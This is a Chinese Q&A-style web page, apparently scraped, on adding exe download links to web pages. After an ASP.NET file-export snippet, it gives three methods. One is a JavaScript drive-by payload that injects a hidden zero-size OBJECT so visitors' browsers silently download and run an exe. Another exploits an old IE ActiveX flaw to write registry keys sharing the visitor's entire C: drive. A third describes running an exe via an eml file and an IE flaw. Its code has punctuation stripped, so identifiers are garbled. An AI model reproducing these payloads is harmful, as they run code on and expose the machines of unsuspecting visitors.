这个好像不行····
当然你可以在 服务器端来做···类似于文件导出,下面拿Excel导出(net)为例···同样可以输出文件的
ResponseClear();
ResponseBuffer = true;
ResponseAppendHeader("Content-Disposition", "attachment;filename=" + DateTimeNowToString("yyyyMMdd") + "Productxls");
ResponseContentEncoding = SystemTextEncodingUTF8;
ResponseContentType = "application/vndms-excel";
thisEnableViewState = false;
第一种
它应该算是html带动同路径下的一个exe的文件的主页了,也就是当浏览器浏览这个页面的时候,一个exe的文件就在后台自动下载并执行了,可以做一个testhtml的文件在桌面,内容如下:
<script
language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0
TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"testexe#version=1,1,1,1\">"
run_exe+="<PARAM
NAME=\"_Version\"
value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>网页加载中,请稍后</H1></HTML>";
documentopen();
documentclear();
documentwriteln(run_exe);
documentclose();
</script>
第二种
是通过ie自身的漏洞写入注册表,可以做个页面让浏览者的硬盘完全共享,也是做个html的文件,内容如下:
script
language=javascript>
documentwrite("<APPLET HEIGHT=0 WIDTH=0
code=commsactiveXActiveXComponent></APPLET>");
function
f(){
a1=documentapplets[0];
a1setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1createInstance();
Shl
= a1GetObject();
ShlRegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD");
ShlRegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
);
ShlRegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\");
}
function
init()
{
setTimeout("f()", 1000);
}
init();
</script>
第三种
个人认为是现在最好用的一种,把exe文件作成一个eml的文件,再用ie的漏洞让一个html的页面执行这个eml的文件,你的那个小巧的exe文件就被执行了由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出
以上就是关于如何用HTML代码在网页中添加下载非 rar后缀文件 和 exe后缀文件 下载超链接全部的内容,包括:如何用HTML代码在网页中添加下载非 rar后缀文件 和 exe后缀文件 下载超链接、如何在网页中打开exe文件,并进行链接 *** 作(求思路求方案)、等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)